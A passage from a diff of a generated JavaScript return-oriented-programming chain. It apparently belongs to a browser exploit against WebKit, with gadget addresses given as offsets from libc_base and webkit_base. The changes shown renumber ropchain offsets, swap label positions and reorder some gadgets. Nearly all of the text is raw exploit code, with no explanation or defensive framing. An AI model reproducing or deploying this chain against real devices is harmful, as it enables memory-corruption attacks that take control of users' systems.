//L333 +ropchain+78960, //L332 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L333: +//L332: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+79112, //L335 +ropchain+79096, //L335 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+79128, //L336 +ropchain+79112, //L336 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+79096, //L334 +ropchain+79080, //L334 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -2323,22 +2321,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+79288, //L340 +ropchain+79272, //L340 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+79240, //L337 +ropchain+79224, //L338 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+79272, //L339 +ropchain+79256, //L339 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L337: +//L338: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L338: +//L337: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L339: @@ -2349,7 +2347,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+79344, //L342 +ropchain+79328, //L342 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -2359,21 +2357,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+79448, //L343 +ropchain+79432, //L344 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+79480, //L345 +ropchain+79464, //L345 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+79464, //L344 +ropchain+79448, //L343 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L343: +//L344: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L344: +//L343: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L345: @@ -2381,22 +2379,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+79640, //L349 +ropchain+79624, //L349 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+79592, //L346 +ropchain+79576, //L347 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+79624, //L348 +ropchain+79608, //L348 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L346: +//L347: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L347: +//L346: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L348: @@ -2407,7 +2405,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+79696, //L351 +ropchain+79680, //L351 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -2417,21 +2415,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+79800, //L352 +ropchain+79784, //L353 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+79832, //L354 +ropchain+79816, //L354 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+79816, //L353 +ropchain+79800, //L352 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L352: +//L353: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L353: +//L352: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L354: @@ -2439,22 +2437,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+79992, //L358 +ropchain+79976, //L358 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+79944, //L355 +ropchain+79928, //L356 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+79976, //L357 +ropchain+79960, //L357 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L355: +//L356: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L356: +//L355: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L357: @@ -2465,7 +2463,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+80048, //L360 +ropchain+80032, //L360 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -2475,21 +2473,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+80152, //L361 +ropchain+80136, //L362 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+80184, //L363 +ropchain+80168, //L363 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+80168, //L362 +ropchain+80152, //L361 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L361: +//L362: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L362: +//L361: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L363: @@ -2497,10 +2495,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+80256, //L364 +ropchain+80240, //L364 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+80272, //L365 +ropchain+80256, //L365 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -2512,22 +2510,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+80432, //L369 +ropchain+80416, //L369 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+80384, //L366 +ropchain+80368, //L367 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+80416, //L368 +ropchain+80400, //L368 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L366: +//L367: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L367: +//L366: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L368: @@ -2538,7 +2536,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+80488, //L371 +ropchain+80472, //L371 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -2548,21 +2546,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+80592, //L372 +ropchain+80576, //L373 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+80624, //L374 +ropchain+80608, //L374 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+80608, //L373 +ropchain+80592, //L372 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L372: +//L373: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L373: +//L372: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L374: @@ -2570,11 +2568,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+80720, //L376 +ropchain+80704, //L376 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+80704, //L375 +ropchain+80688, //L375 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -2589,29 +2587,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+80816, //L379 +ropchain+80784, //L377 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L377: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L379: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L378: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+80920, //L382 +ropchain+80904, //L382 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+80904, //L381 +ropchain+80888, //L380 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L381: +//L380: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L382: @@ -2619,15 +2617,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+81064, //L385 +ropchain+81048, //L385 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+81032, //L383 +ropchain+81016, //L383 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+81048, //L384 +ropchain+81032, //L384 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -2644,7 +2642,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+81136, //L386 +ropchain+81120, //L386 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -2654,12 +2652,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+81192, //L389 +ropchain+81176, //L388 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L389: +//L388: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -2676,29 +2674,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+81336, //L393 +ropchain+81304, //L391 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L391: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L393: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L392: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+81440, //L396 +ropchain+81424, //L396 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+81424, //L395 +ropchain+81408, //L394 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L395: +//L394: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L396: @@ -2706,25 +2704,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+81608, //L399 +ropchain+81592, //L399 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+81624, //L400 +ropchain+81608, //L400 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+81576, //L397 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+81592, //L398 +ropchain+81560, //L398 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L397: +//L398: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L398: +//L397: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L399: @@ -2735,14 +2733,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+81728, //L401 +ropchain+81712, //L401 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+81760, //L403 +ropchain+81744, //L403 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+81744, //L402 +ropchain+81728, //L402 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -2763,10 +2761,10 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+81864, //L404 +ropchain+81848, //L404 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+81880, //L405 +ropchain+81864, //L405 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -2784,7 +2782,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+81968, //L406 +ropchain+81952, //L406 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -2794,19 +2792,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+82024, //L409 +ropchain+82008, //L408 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L409: +//L408: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+82096, //L410 +ropchain+82080, //L410 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -2816,12 +2814,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+82152, //L413 +ropchain+82136, //L412 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L413: +//L412: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -2832,29 +2830,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+82256, //L416 +ropchain+82224, //L414 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L414: -db([4294967283, 4294967295]); // -0xd -set_gadget(libc_base+792472,); //pop rcx -//L416: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L415: +db([4294967283, 4294967295]); // -0xd set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+82360, //L419 +ropchain+82344, //L419 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+82344, //L418 +ropchain+82328, //L417 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L418: +//L417: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L419: @@ -2862,22 +2860,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+82520, //L423 +ropchain+82504, //L423 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+82472, //L420 +ropchain+82456, //L421 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+82504, //L422 +ropchain+82488, //L422 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L420: +//L421: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L421: +//L420: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L422: @@ -2888,7 +2886,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+82576, //L425 +ropchain+82560, //L425 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -2898,21 +2896,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+82680, //L426 +ropchain+82664, //L427 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+82712, //L428 +ropchain+82696, //L428 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+82696, //L427 +ropchain+82680, //L426 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L426: +//L427: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L427: +//L426: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L428: @@ -2920,22 +2918,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+82872, //L432 +ropchain+82856, //L432 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+82824, //L429 +ropchain+82808, //L430 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+82856, //L431 +ropchain+82840, //L431 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L429: +//L430: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L430: +//L429: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L431: @@ -2946,7 +2944,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+82928, //L434 +ropchain+82912, //L434 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -2956,21 +2954,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+83032, //L435 +ropchain+83016, //L436 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+83064, //L437 +ropchain+83048, //L437 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+83048, //L436 +ropchain+83032, //L435 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L435: +//L436: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L436: +//L435: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L437: @@ -2978,10 +2976,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+83136, //L438 +ropchain+83120, //L438 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+83152, //L439 +ropchain+83136, //L439 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -2993,22 +2991,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+83312, //L443 +ropchain+83296, //L443 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+83264, //L440 +ropchain+83248, //L441 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+83296, //L442 +ropchain+83280, //L442 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L440: +//L441: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L441: +//L440: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L442: @@ -3019,7 +3017,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+83368, //L445 +ropchain+83352, //L445 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -3029,21 +3027,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+83472, //L446 +ropchain+83456, //L447 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+83504, //L448 +ropchain+83488, //L448 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+83488, //L447 +ropchain+83472, //L446 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L446: +//L447: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L447: +//L446: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L448: @@ -3051,11 +3049,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+83600, //L450 +ropchain+83584, //L450 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+83584, //L449 +ropchain+83568, //L449 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -3070,29 +3068,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+83696, //L453 +ropchain+83664, //L451 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L451: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L453: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L452: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+83800, //L456 +ropchain+83784, //L456 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+83784, //L455 +ropchain+83768, //L454 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L455: +//L454: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L456: @@ -3100,15 +3098,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+83944, //L459 +ropchain+83928, //L459 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+83912, //L457 +ropchain+83896, //L457 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+83928, //L458 +ropchain+83912, //L458 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -3125,7 +3123,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+84016, //L460 +ropchain+84000, //L460 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3135,12 +3133,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+84072, //L463 +ropchain+84056, //L462 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L463: +//L462: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -3148,29 +3146,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+84168, //L466 +ropchain+84136, //L464 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L464: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L466: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L465: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+84272, //L469 +ropchain+84256, //L469 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+84256, //L468 +ropchain+84240, //L467 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L468: +//L467: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L469: @@ -3178,25 +3176,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+84440, //L472 +ropchain+84424, //L472 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+84456, //L473 +ropchain+84440, //L473 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+84408, //L470 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+84424, //L471 +ropchain+84392, //L471 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L470: +//L471: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L471: +//L470: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L472: @@ -3207,14 +3205,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+84560, //L474 +ropchain+84544, //L474 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+84592, //L476 +ropchain+84576, //L476 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+84576, //L475 +ropchain+84560, //L475 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -3235,7 +3233,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+84680, //L477 +ropchain+84664, //L477 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3245,19 +3243,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+84736, //L480 +ropchain+84720, //L479 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L480: +//L479: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+84808, //L481 +ropchain+84792, //L481 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3267,12 +3265,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+84864, //L484 +ropchain+84848, //L483 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L484: +//L483: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -3284,29 +3282,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi //L485: libc_base+793877, //pop rsi -ropchain+84968, //L488 +ropchain+84936, //L486 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi 